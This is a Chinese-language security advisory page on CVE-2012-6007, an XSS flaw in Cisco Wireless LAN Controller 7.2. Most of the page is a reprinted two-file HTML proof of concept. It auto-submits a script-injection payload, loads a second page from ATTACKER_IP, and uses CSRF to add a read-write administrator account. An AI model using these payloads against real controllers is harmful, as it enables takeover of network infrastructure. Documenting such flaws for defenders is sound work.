安全研究
安全漏洞
Cisco Wireless LAN Controller HTTP POST请求跨站脚本漏洞（CVE-2012-6007）
发布日期：2012-12-13
更新日期：2012-12-14
受影响系统：
Cisco Wireless LAN Controller <= 7.2描述：
BUGTRAQ ID: 56929
CVE(CAN) ID: CVE-2012-6007
Cisco WLC 负责全系统的无线LAN功能，例如安全策略、入侵保护、RF管理，服务质量和移动性。
Cisco Wireless LAN Controller 7.2及其他版本处理Web管理界面没有正确验证web_auth_custom.html脚本的用户输入，通过发送特制的HTTP POST请求到受影响目标系统，经过身份验证的远程攻击者可利用此漏洞执行跨站脚本攻击。
<*来源：Jacob Holcomb
链接：http://tools.cisco.com/security/center/viewAlert.x?alertId=27641
http://www.exploit-db.com/exploits/23361/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
File #1: ciscoWLC1.html
<html>
<title>Download</title>
<body>
<h1>LOADING...</h1>
<form name="ciscoXSS" action="https://WLC_IP_HERE/screens/base/web_auth_custom.html" method="post" >
<input type="hidden" name="access_control" value="1"/>
<input type="hidden" name="webauth_type" value="internal"/>
<input type="hidden" name="redirect_url" value=""/>
<input type="hidden" name="aire_logo" value="show"/>
<input type="hidden" name="headline" value="HaXoReD<img+src=><script>alert(42)</script>>"/>
<input type="hidden" name="message" value="U+mAd?<img src=http://www.memes.at/faces/u_mad_troll.gif height=1000 width=1000 align=left>"/>
<input type="hidden" name="ext_webauth_url" value=""/>
<input type="hidden" name="buttonClicked" value="4"/>
<input type="hidden" name="indexedClicked" value="0"/>
<input type="hidden" name="err_flag" value="0"/>
<input type="hidden" name="err_msg" value=""/>
</form>
<script>
function CSRF() {window.open("http://ATTACKER_IP/ciscoWLC2.html")};window.setTimeout(CSRF,1000)
function XSS() {document.ciscoXSS.submit()};window.setTimeout(XSS,1000)
</script>
</body>
</html>
File #2: ciscoWLC2.html
<html>
<title>Cisco WLC 7.2.110.0 CSRF - Add Administrator</title>
<body>
<form name="ciscoCSRF" action="https://WLC_IP_HERE/screens/aaa/mgmtuser_create.html" method="post" >
<input type="hidden" name="access_control" value="1"/>
<input type="hidden" name="username" value="Gimppy"/>
<input type="hidden" name="userpwd" value="Pwnd123"/>
<input type="hidden" name="pwdconfirm" value="Pwnd123"/>
<input type="hidden" name="access_mode" value="readwrite"/>
<input type="hidden" name="buttonClicked" value="4"/>
</form>
<script>
document.ciscoCSRF.submit()
window.open("https://WLC_IP_HERE/screens/base/login_preview.html") <-- Or https://WLC_IP_HERE/login.html
</script>
</body>
</html>
建议：
厂商补丁：
Cisco
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.cisco.com/cisco/web/support/index.html#~shp_product
浏览次数：4631
严重程度：0（网友投票）
绿盟科技给您安全的保障